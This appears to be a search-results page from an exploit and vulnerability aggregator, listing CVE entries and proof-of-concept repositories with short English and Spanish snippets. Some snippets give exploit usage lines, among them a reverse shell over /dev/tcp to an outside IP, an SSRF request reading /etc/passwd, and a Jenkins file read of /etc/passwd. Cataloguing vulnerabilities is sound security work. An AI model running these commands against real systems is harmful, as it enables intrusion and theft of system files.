3050 matches found
CVE-2026-90769
Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs to read cloud metadata, internal network services, and localhost-bound services...
CVE-2021-3131
CVE-2021-3131 Descripción sugerida El servidor web en 1C:Enterprise 8 anterior a 8.3.17.1851 envía credenciales codificadas en base64 en el parámetro URL 'creds'. Tipo de vulnerabilidad Otro CWE-522 Credenciales insuficientemente protegidas Vendedor del producto 1C Company Código base del product...
CVE-2023-51214
Descripción sugerida La vulnerabilidad de Cross Site Scripting en Implementing an Activity Log in Your Web App Using PHP v.1 permite a un atacante remoto ejecutar código arbitrario mediante un payload manipulado en la URL. Tipo de vulnerabilidad Cross Site Scripting XSS Proveedor del producto...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR This is for legal penetration testing purposes only. Do not engage in any illegal activities. How to use python3 exploit.py Demo Video...
CVE-2019-1006
CVE-2019-1006 Uso: Introduce "python CVE-2019-1006.py "url"" en la terminal, donde url es la URL del servidor RDG Gateway que se va a probar. Por ejemplo: python CVE-2019-1006.py "https://www.aaa.com/"...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Resumen de vulnerabilidades CVE-2025-30208, CVE-2025-31125 y CVE-2025-31486 son vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo de Vite. Estas vulnerabilidades permiten a un atacante eludir los controles de acceso...
compaXSS
CompaXSS Bypass XSS Reflected Cross-site scripting ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run Developers Jose Pino - @jofpin Juan Eljach - @juaneljach...
CVE-2024-27564
CVE-2024-27564 Descripción: Una vulnerabilidad en pictureproxy.php permite a atacantes remotos realizar peticiones arbitrarias inyectando URLs en el parámetro url. Esta vulnerabilidad SSRF puede ser explotada sin autenticación, lo que la hace particularmente peligrosa. El código vulnerable se...
hoh4
Requisitos: python Comando: python laravel-ignition-rce.py ""...
cve-2025-4664
CVE-2025-4664 Este repositorio contiene un PoC para explotar CVE-2025-4664, una vulnerabilidad donde los navegadores basados en Chromium filtran parámetros de URL sensibles a través de solicitudes de precarga del encabezado Link. Recursos Para una explicación detallada de cómo funciona este...
WordPress StageShow <5.0.9 - Open Redirect
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...
PT-2026-90836
Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs to read cloud metadata, internal network services, and localhost-bound services...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 Título del Proyecto Este proyecto demuestra una vulnerabilidad de Server-Side Request Forgery SSRF en el archivo pictureproxy.php. Descripción Una vulnerabilidad en pictureproxy.php permite a atacantes remotos realizar solicitudes arbitrarias inyectando URLs en el...
CVE-2019-7238
CVE-2019-7238 RCE python3 CVE-2019-7238.py url...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
CVE-2025-13796-PoC
CVE-2025-13796-PoC deco-cx apps Parámetro analyticsScript.ts AnalyticsScript falsificación de solicitud del lado del servidor PoC : root@kitploit: curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: x.x.x.x' \ $'http://x.x.x.x/live/invoke/website/loaders/analyticsScript.ts?url=file:///etc/passwd'...
Jenkins-CVE-2024-23897-
Usa el comando:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwdescribe la URL Uniform Resource Locator en 2.txt para procesar en lote...
CVE-2024-33210
CVE-2024-33210 Se ha identificado una vulnerabilidad de secuencia de comandos entre sitios XSS en Flatpress 1.3. Esta vulnerabilidad permite a un atacante inyectar scripts maliciosos en páginas web vistas por otros usuarios. Tipo de Vulnerabilidad: Secuencia de Comandos entre Sitios XSS Vendor de...
exploit-CVE-2016-8016-25
McAfee Virus Scan para Linux: múltiples fallos remotos ESTE EXPLOIT Y TODO EL CÓDIGO EN ESTE REPOSITORIO FUERON ELIMINADOS PARA EVITAR CUALQUIER PROBLEMA RELACIONADO CON LA VIOLACIÓN DE CUALQUIER LICENCIA DE MCAFEE McAfee VirusScan Enterprise para Linux es una solución antivirus empresarial de...